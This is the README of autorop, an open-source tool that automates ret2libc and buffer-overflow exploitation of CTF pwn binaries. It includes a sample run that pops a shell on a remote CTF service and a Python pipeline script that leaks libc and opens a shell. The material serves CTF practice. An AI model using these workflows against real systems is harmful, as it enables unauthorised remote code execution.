autorop
autorop copied to clipboard
Automated solver of classic CTF pwn challenges, with flexibility in mind.
autorop
|docs| |Test status| |MIT license|
Automated solver of classic CTF pwn challenges, with flexibility in mind.
Official documentation can be found at autorop.readthedocs.io <https://autorop.readthedocs.io>
_.
Disclaimer
Do not use this software for illegal purposes. This software is intended to be used in legal Capture the Flag competitions only.
Command line
.. code-block:: text
$ autorop
Usage: autorop BINARY [HOST PORT]
.. code-block:: text
$ autorop tests/bamboofox/ret2libc bamboofox.cs.nctu.edu.tw 11002
[*] '/home/mariusz/Projects/autorop/tests/bamboofox/ret2libc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Produced pipeline: Classic(Corefile(), OpenTarget(), Puts(False, ['__libc_start_main', 'puts']), Auto(), SystemBinSh())
[*] Pipeline [1/5]: Corefile()
[+] Starting local process 'tests/bamboofox/ret2libc': pid 18833
[*] Process 'tests/bamboofox/ret2libc' stopped with exit code -11 (SIGSEGV) (pid 18833)
...
[*] Switching to interactive mode
Hello!
The address of "/bin/sh" is 0x804a02c
The address of function "puts" is 0xf7e43da0
$ wc -c /home/ctf/flag
57 /home/ctf/flag
API
Importing autorop automatically does a from pwn import *
, so you can use all of pwntools' goodies <https://docs.pwntools.com/en/latest/>
_.
Central to autorop's design is the pipeline <https://en.wikipedia.org/wiki/Pipeline_(software)>
_. Most functions take in a PwnState
, and pass it on to the next function with some attributes changed. Pipeline
copies* the PwnState
between each function so mutations are safe. This allows great simplicity and flexibility.
See how the below example neatly manages to "downgrade" the problem from something unique, to something generic that the Classic
pipeline can handle.
.. code-block:: python
from autorop import *
BIN = "./tests/tjctf_2020/stop"
def send_letter_first(tube, data):
# the binary expects us to choose a letter first, before it takes input unsafely
tube.sendline("A")
# send actual payload
tube.sendline(data)
# create a starting state
s = PwnState(BIN, lambda: process(BIN))
# set an overwriter function, if the buffer overflow input
# is not available immediately
s.overwriter = send_letter_first
# use base classic pipeline, with printf for leaking
pipeline = turnkey.Classic(leak=leak.Printf())
result = pipeline(s)
# switch to interactive shell which we got via the exploit
result.target.interactive()
* Note: Although most of the attributes are deep-copied, target
and _elf
are not.
.. |docs| image:: https://readthedocs.org/projects/autorop/badge/ :target: https://autorop.readthedocs.io
.. |Test status| image:: https://github.com/mariuszskon/autorop/workflows/autorop%20test/badge.svg?branch=master :target: https://github.com/mariuszskon/autorop/actions?query=workflow%3A%22autorop+test%22+branch%3Amaster
.. |MIT license| image:: https://img.shields.io/badge/license-MIT-blue.svg :target: https://github.com/mariuszskon/autorop/blob/master/LICENSE
Install
- Install autorop itself. You might want to be in your
python virtual environment <https://docs.python.org/3/tutorial/venv.html>
_. After cloning, install with pip:
.. code-block:: text
$ git clone https://github.com/mariuszskon/autorop && cd autorop && pip install .
- Make sure corefiles are enabled and are plainly written to the right directory:
.. code-block:: text
# sysctl -w kernel.core_pattern=core.%p
-
(Optional) Install
libc-database <https://github.com/niklasb/libc-database>
_ into~/.libc-database
(or your own location then editstate.libc_database_path
). -
All done!